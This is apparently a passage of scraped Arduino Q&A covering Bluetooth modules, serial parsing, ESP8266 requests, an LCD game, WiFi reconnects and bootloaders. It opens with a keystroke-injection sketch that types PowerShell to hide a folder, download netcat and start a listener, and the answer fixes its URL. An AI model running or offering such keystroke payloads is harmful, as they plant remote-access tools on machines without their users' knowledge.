    Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
    typeKey(KEY_RETURN);

    Keyboard.end();
}
    void loop() {
    }

You have some unicode characters in your URL. Remove them.

https://eternallybored.org/misc/netcat/netcat-win32-1.<200c><200b>11.zip
                                                      ^^^^^^^^^^^^


How to connect HC-06 with HC-08 with the HC-06 as master and HC-08 as slave? How do you connect HC-06 with HC-08 with the HC-06 as master and HC-08 as slave? I will try it using 2 Arduino Unos.

You cannot. The HC-06 is a slave only device.
So you need to use a device as master, that is actually capable of it. I don't know, if the HC-08 can do it. Another typical bluetooth master device is the HC-05. Just like HC-06, but can also be a master.


Search for a certain combination of strings in serial and read the following characters until another set character stops the search I have the following serial message that I'm receiving from an ESP32 running GRBL:
<Idle|MPos:158.500,0.000,0.000|FS:0,0|Pn:H|Ov:100,100,100|SD:0.21,/instruction.nc>

I want to check the value after SD: which in this case would be 0.21.
It is a value that represents the percentage of a file being read, so values between 100.00 and 0.00 are being sent.
My guess is to look for the SD: in the string and then read all characters until the , but I can't really find a way to realize that.
I found the startsWith() and the substring()function that are able to look for a set of characters in a string, but it seems like they can only check a set amount of characters which in this case doesn't work as 0.00 is 4 characters and 100.00 is 6 characters.
Any help is much appreciated!!

Firstly you should really be working with a C string (char *) instead of a String object, otherwise you will be massively fragmenting your heap with the string manipulations to come.
Once you have your data in a C string (char array) you can use strtok_r to split the string on the | character, then for each substring further split it on the :.  You need the _r variant of strtok to make it "re-entrant" so you can have two tokenizations at once nested.
For example (untested):
char *data = "<Idle|MPos:158.500,0.000,0.000|FS:0,0|Pn:H|Ov:100,100,100|SD:0.21,/instruction.nc>";
char *pair; // Pointer to a K/V pair
char *pairptr = data; // Pointer for outer strtok

// Split the string on the first |
pair = strtok_r(data, "|", &pairptr);

// While we have a K/V pair
while (pair) {
    char *kvptr = pair;
    // Split the substring into two parts on the colon
    char *key = strtok_r(pair, ":", &kvptr);
    char *val = strtok_r(NULL, ":", &kvptr);
    if (val) { // If we split the data correctly:
        if (strcmp(key, "SD") == 0) { // If the key is "SD" then
            Serial.print("SD data: ");
            Serial.println(val);
        }
    }
    // Get the next string portion
    pair = strtok_r(NULL, "|", &pairptr);
}

Once you have your val you can further split that down on commas in the same way as it's been split on the colon.


error 404 in HTTP GET request with Arduino Uno and ESP8266 using AT commands when I try to send http get request I get error 404

AT+CIPMTX=1

OK
AT+CIPSTART=4,"TCP","alirezaabrhshami.ir",80
4,CONNECT
OK
AT⸮⸮R5U9⸮⸮b⸮⸮j
OK
>
Recv 47 qytes
SEND OK
+IPD,4,223;HTTP/1.1 404 Not Found
Cache-Contsol: public, max-age=0:a1n CeK⸮

this is my code:

#include <SoftwareSerial.h>

const byte rxPin = 2;
const byte txPin = 3;
SoftwareSerial ESP8266 (rxPin, txPin);

unsigned long lastTimeMillis = 0;

void setup() {
  Serial.begin(9600);
  ESP8266.begin(115200);
  delay(2000);
}

void printResponse() {
  while (ESP8266.available()) {
    Serial.println(ESP8266.readStringUntil('\n'));
  }
}

void loop() {

  if (millis() - lastTimeMillis > 30000) {
    lastTimeMillis = millis();

    ESP8266.println("AT+CIPMUX=1");
delay(1000);
printResponse();

ESP8266.println("AT+CIPSTART=4,\"TCP\",\"alirezaabrishami.ir\",80");
delay(1000);
printResponse();

String cmd = "GET /greencare/login.php?product_id=123456 ";
ESP8266.println("AT+CIPSEND=4," + String(cmd.length() + 4));
delay(1000);

ESP8266.println(cmd);
delay(1000);
ESP8266.println("");
  }

  if (ESP8266.available()) {
    Serial.write(ESP8266.read());
  }

}

your HTTP request is incomplete. it should be

String cmd = "GET /greencare/login.php?product_id=123456 HTTP/1.1\r\nHost:alirezaabrishami.ir\r\n\r\n"

if the wen server host has more hostnames for the same IP address, the Host header is used on HTTP server to direct the request to the right web application


How to print something when a character touches a character I am making a stickman rush game, where it goes up and down and then there is a object that scrolls to the left. Whenever that stickman touches the object, it prints game over. However when the object is below the stickman, it prints game over even though its not touching. Can someone explain why this is happening?
Code:
#include <LiquidCrystal.h>

LiquidCrystal lcd(2, 3, 4, 5, 6, 7);

byte customChar[] = {
  B01110,
  B01110,
  B01110,
  B00100,
  B01110,
  B10101,
  B00100,
  B01010
};

byte gameObstical[] = {
  B11111,
  B11111,
  B11111,
  B11111,
  B11111,
  B11111,
  B11111,
  B11111
};

int vX = A0;
int vY = A1;
int sw = 8;

int xPosition = 0;
int yPosition = 0;
int SW_state = 0;
int mapX = 0;
int mapY = 0;

int screenWidth = 16;
int screenHeight = 2;

void setup() {
Serial.begin(9600);

  pinMode(vX, INPUT);
  pinMode(vY, INPUT);
  pinMode(sw, INPUT);

   lcd.begin(16, 2);
  lcd.createChar(0, customChar);
  lcd.home();
  lcd.write(byte(0));

  lcd.createChar(1, gameObstical);
  lcd.write(byte(1));

}

void loop() {

  int stickManPosition = 0;
  int obsticalPosition = 0;
  int stickManPosition2 = 0;
  int obsticalPosition2 = 0;

  for (obsticalPosition = 15; obsticalPosition >= 0; obsticalPosition--) {
  lcd.setCursor(obsticalPosition, 1);
  lcd.write(byte(1));
  lcd.print(" ");
  delay(150);

  xPosition = analogRead(vX);
  yPosition = analogRead(vY);
  SW_state = digitalRead(sw);
  mapX = map(xPosition, 20, 1003, -500, 500);

    Serial.println("-----------");
  Serial.println(mapX);
  Serial.println("-----------");

    if (mapX > 200) {

    lcd.clear();
    lcd.setCursor(stickManPosition, 0);
    lcd.write(byte(0));

  } else if (mapX < -200) {

    lcd.clear();
    lcd.setCursor(stickManPosition, 1);
    lcd.write(byte(0));
    }

  if (stickManPosition == obsticalPosition) {
    lcd.clear();
    lcd.print("Game Over.");
      } else if (
    }
  }

Any help would be great.

You check StickMan and Object only X position not check Y position
incase you can check StickMan Y or check StickMan action like this code below.
or try this sim https://www.tinkercad.com/things/1LiyoY5n1mS-copy-of-stickman-rush/editel?sharecode=X6rMj1GjrKoAH95qWKY21z98ttyAs5aOTAKYy6hVJ3c
// Defind it on top
bool stickManIsJump = false;

// Added some code to check StickMan isJump or not
if (mapX > 200) {
  lcd.clear();
  lcd.setCursor(stickManPosition, 0);
  stickManIsJump = true;        /////////////// ADDED
  lcd.write(byte(0));
} else if (mapX < -200) {
  lcd.clear();
  lcd.setCursor(stickManPosition, 1);
  stickManIsJump = false;       /////////////// ADDED
  lcd.write(byte(0));
}

if (stickManPosition == obsticalPosition && !stickManIsJump) {      /////////////// ADDED
  lcd.clear();
  lcd.print("Game Over.");
}


Uno Wifi rev2 - after long time it disconnects Given an Arduino Uno Wifi Rev2 with this small U-blox NINA wifi module.

All work great however after a long time (I can't be more exact but we talk here about weeks if not months), it suddenly disconnects.

This board is unattended, and the only way to recover is to reset the Arduino.

Here is my code:

WiFiServer server(PORT);

void setup() {
  connectToWifi();
  server.begin();
}

void connectToWifi() {
  // attempt to connect to Wifi network:
  while (status != WL_CONNECTED) {
    Serial.print("Attempting to connect to SSID: ");
    Serial.println(ssid);
    // Connect to WPA/WPA2 network. Change this line if using open or WEP network:
    status = WiFi.begin(ssid, pass);
    if (status == WL_CONNECTED) break;

    // wait 10 seconds for connection:
    delay(10000);
  }
}

void loop() {
  // check WiFi status
  if (WL_CONNECTED != WiFi.status()) connectToWifi();

  WiFiClient client = server.available();
  if (client) {
    while (client.connected()) {
      if (client.available()) {
        char c = client.read();

        ... (other wifi-unrelated code)

        // close the connection:
        client.stop();
      }
    }
  }
}

When it disconnects from wifi, the router's dhcp manager console shows it with "waiting" status.

Note: I'm the only client, and only one character is sent to the Arduino at once, then the socket is closed. It is very unlikely, that a client hangs, and the board is stuck in the while loop.

Is this a known problem, or I have to dig myself more into this?

Thank you!

As you have not given the details there are some things to check

is your Nina-Firmware > 1.2.4
If not update to the latest 1.3.0 via the WiFi101-FirmwareUpdater-Plugin 0.10.10 is included in the ArduinoIDE 1.8.12 or greater
Disconnect before you reconnect (in case of router drop-outs) and
Close any connection before sending/receiving. This will free the socket on the Nina module. Stop the client after doing the stuff needed with   client.stop();
If there is any server connection code in setup this should be run in a reconnect routine (as you did not include setup) just as a hint
Make sure that after a certain period the while (status != WL_CONNECTED) and while (client.connected()) are broken and error testing takes place e.g. if (status==WL_DISCONNECTED || status==WL_CONNECTION_LOST){.. do something to change that ..}
If all fails implement a routine that checks the signal and restarts the sketch if the router has dropped out (for whatever reason).

Disconnect code:

void connectToWifi() {
    // This new line is required to disconnect the previous connection otherwise
    // it will try to use the old connection and never reconnect if the connection fails
    status = WiFi.disconnect();

    // attempt to connect to Wifi network:
    while (status != WL_CONNECTED) {
    .... REST of your code ...
    }
}

Hint (as you did not show setup) if you have something like

client.connect(server, 80);

move it to the reconnection routine in the form of

if (client.connect(server, 80)) {
    Serial.println("connecting...");
.... REST of reconnect ...
}

Restart code if wifi signal is lost

void(* resetFunc) (void) = 0; // Declare reset function at address 0

void loop() {
  if (WiFi.RSSI() == 0) // Checks if Wifi signal lost.
  { resetFunc(); // Calls Reset
  }
// Rest of code goes here.
}

This should altogether ensure a long and stable running client


How to make PCA9685 work with Arduino Due? I have Arduino Due and PCA9685.

I use this library:
https://github.com/adafruit/Adafruit-PWM-Servo-Driver-Library

The board does not do anything with servo connected. I tried to use SDA/SCL pins and SDA1/SCL1 pins, I tried to use or not use pullup resistors. The board does not react in any case.

The PCA9685 is 100% working, because it operates properly when I connect it to my Arduino Mega using the same library, it works without pullups.

Also I noticed the following indicium, when I tried to use  this scanner
http://playground.arduino.cc/Main/I2cScanner I have no detected devices on SCL1/SDA1 but have detected 2 devices at 0x40 and 0x70 when I connect the board SDA/SCL pins.

I made it working by this way: despite PCA9685 datasheet recommendations, we do not need to connect OE pin to VCC. Also we do not need to connect OE to ground as it recommended in some instructions related to other Arduinos.

So we should leave OE pin unconnected.
Also we should use 4,7K pull-up resistors to connect SDA and SCL to VCC.

The board can be used without level converters.

No special program/libraries changes needed. So it was a hardware problem.


Difference in bootloader of ATmega with 16MHz external crystal and 8MHz external crystal I have used your bootloader for ATmega2560-16AU with 16MHz external crystal and it works like a wonder.

In my new project I have a 3V power supply. Therefore, I am planning to use a low frequency external crystal in order to operate the ATmega at a low frequency so that the voltage will be able to go as low as possible.

However, I have a number of issues/questions:

I uploaded the bootloader using an 8MHz external crystal and it went successfully but I am not able to upload a sketch.
Can I run an ATmega2560-16AU with an 8MHz crystal and will it work at 3V, without any risk?
As I do not have an ATmega2560-8AU right now, I am not able to test this. Will your bootloader work with Atmega2560-8AU and an external 8MHz crystal or, before burning bootloader, do I need to make any changes?

Sorry to ask you such a long query, but I have really spent lots of time looking at this and finally today I made a post everywhere.

Yes, the ATmega328 will run fine at 8MHz, at 3 volts.

The formulas for clock speed vs. volts are:

Below 1.8V - cannot operate
Below 4 MHz - use at least 1.8V
Between 4 MHz and 10 MHz you require: Volts = 1.8 + ((M - 4) * 0.15)
(Where M is Megahertz)
Between 10 MHz and 20 MHz you require: Volts = 2.7 + ((M - 10) * 0.18)
(Where M is Megahertz)
You can supply an absolute maximum of 5.5V

Plugging 8MHz into this formula: volts = 1.8+((8-4)*0.15) = 2.4 volts minimum (5.5 volts maximum). Note that, as batteries are used, their voltage goes down gradually, so the 0.6 volts difference will mean that your project will run a little longer.

Since your supply is > 2.7V, we can reverse the second formula: 3V=2.7+(M-10)*0.18); 0.3=(M-10)*0.18; 0.66=M-10, so you can run it at 10.66MHz at 3V (but it is likely to stop as soon as the battery starts to drain).

Your second question, I think, is the most relevant one - the bootloader is written for 16MHz, and some things will not work at other speeds - serial communications used for programming for example. The same, for that matter, applies to the program - if you put in a delay() instruction in your code, it will delay() for twice as long as it should.

You can get around the programming side by ditching the bootloader altogether - once your code is ready, select file->upload using programmer. This will still affect the speed your sketch runs at (anything time-related - serial communications, delay(), etc). To change this, you will need to add a custom entry to the boards.txt file. See [HOWTO:] Anatomy of the boards.txt file for custom boards.


Pressing reset button restarts program only seconds latter I am wondering why after pressing the reset button on my Arduino, the latest program loaded runs but only after about 5seconds. The same thing happen when I run my arduino from the computer using the Arduino 1.6.9 software.

Is there any way to make this delay shorter?

Thanks,
IF

The first thing that happens when you apply power to a board or press reset, is the bootloader executes. That waits for a short time to accept a new sketch over the serial port. If nothing arrives it terminates and executes the existing sketch.

On the Uno that delay is only 2 seconds. However on the Leonardo the delay is much longer (around 5-8 seconds) owing to how the serial port is implemented: it has to allow time for the host computer to re-enumerate the USB device after a reset, and that takes a second or two.

If you don't want that delay you will need to remove the bootloader (i.e., ignore it) and program the board through a hardware programmer and the ICSP pins (which will disable the bootloader for you). You lose the convenience of programming through the USB connection though.

Alternatively choose a different board that doesn't have such a delay for the bootloader - one that uses a different programming method.


Arduino: ARM, MCU, SoC and RTOS I'm trying to understand the relationship between embedded RTOSes, SoCs and chip architectures. Specifically, I have a hobby project that would involve me writing a real-time, embedded application for the embox RTOS, and use Arduino hardware for my proof of concept/prototype. Then, budget permitting, I'd like to port that app to run on another, non-Arduino ARM-based system.

My understanding is that ARM is the chip architecture (a conceptual design, really), and that Arduino simply implements this design, and is also a "system on a chip" because it has other things (USB ports, GPIO pins, etc.) that make it more of a computer than just a MCU.

My understanding is that if embox runs on ARM, which they claim it does, then at some point in the future I can take my application and run it on another ARM-based system without any real headache/pain.

Is my understanding of: ARM, Arduino, MCU, SoC and embox/RTOS correct? If not, please clarify/correct me! If so, what sort of considerations would have to be made when porting my app to another ARM system in the future?

My understanding is that ARM is the chip architecture (a conceptual design, really),

ARM is the CPU core architecture used in the Atmel SAM3X MCU family. The MCU is the CPU plus all of the facilities (PWM, ADC, DAC, DMA, etc.) that are implemented in order to allow the CPU to interact with external circuitry.

  and that Arduino simply implements this design,

Most appropriately, "Arduino" is the IDE and the software libraries that come along with it, plus the specifications and connector layout of the various pieces of Arduino hardware.

  and is also a "system on a chip" because it has other things (USB ports, GPIO pins, etc.) that make it more of a computer than just a MCU.

"SoC" is exactly what it says on the tin: it's an entire system on a single chip. The Due is not a SoC, since it's a full board. The BCM2835 found on the RPi is a SoC. The SAM3X is a MCU, since it still requires more than just connectors to become a full "system".

  My understanding is that if embox runs on ARM, which they claim it does, then at some point in the future I can take my application and run it on another ARM-based system without any real headache/pain.

Provided that embox runs on the new system and that your application can be compiled for it.


Arduino Nano v3.0 with ESP8266 I am attempting to connect and use an ESP8266 board with my Arduino nano v3.0 and I am not have much luck.

I have read a bunch of tutorials and articles, the most recent is http://elektro-blogger.blogspot.co.nz/2015/07/arduino-and-esp82666.html

Any help would be greatly appreciated.

I have connected it like below and am using some simple code to try and get it working.

Code:

#include <SoftwareSerial.h>

SoftwareSerial esp8266(10, 11);

void setup()
{
  Serial.begin(9600);
  esp8266.begin(9600);

  Serial.flush();

  esp8266.print("AT+RST\r\n"); // reset for esp8266
  delay(500);
  esp8266.flush();//clear serial1
  // Check AT
  esp8266.print("AT"); // reset for esp8266
  esp8266.print("AT+CIFSR\r\n");// learn the ip which token for esp8266
  delay(500);
  if (esp8266.find("ready"))
  {
    esp8266.flush();
    esp8266.print("AT+CIFSR\r\n");
    delay(500);
    Serial.println("CIHAZ IP ADRESI:" + esp8266.readString()); // print esp8266 ip

  }
  else
  {
    Serial.println("there is no internet connection");
  }
  esp8266.print("AT+CIPMUX=1\r\n");//ser mux 1 so we want to connect as multiple users
  delay(500);
  if (esp8266.find("OK"))
  {
    Serial.println("Mux ok");
  }
  else
  {
    Serial.println("MUX failed");
  }
  esp8266.print("AT+CIPSERVER=1,23\r\n");// set esp8266 as server
  delay(500);
  if (esp8266.find("OK"))
  {
    Serial.println("SERVER started");
  }
  else
  {
    Serial.println("SERVER failed");
  }

}
void loop()
{

  if (esp8266.available())
  {
    Serial.print(esp8266.readString()); // get message which comes from clients.
  }
}

The Esp8266 module has different firmware, the old one was running at 9600 and the new one is running at 115200.

Try to upload this code on  your arduino Nano and send AT commands over the Serial monitor of the Arduino.

If you send AT it should returns "OK", if not, try to swap RX to TX and try to play around with the baudrate 9600, 57600, 115200.

It might be that your Wifi module doesnt have any firmware loaded which might need to be done.

#include <SoftwareSerial.h>

SoftwareSerial wifi(10,11); // RX, TX

void setup()
{
Serial.begin(9600); // FTDI
wifi.begin(9600); // GPS; 9600 first time, 38400 second time
}

void loop()
{
if (Serial.available())
wifi.write(Serial.read());
if (wifi.available())
Serial.write(wifi.read());

}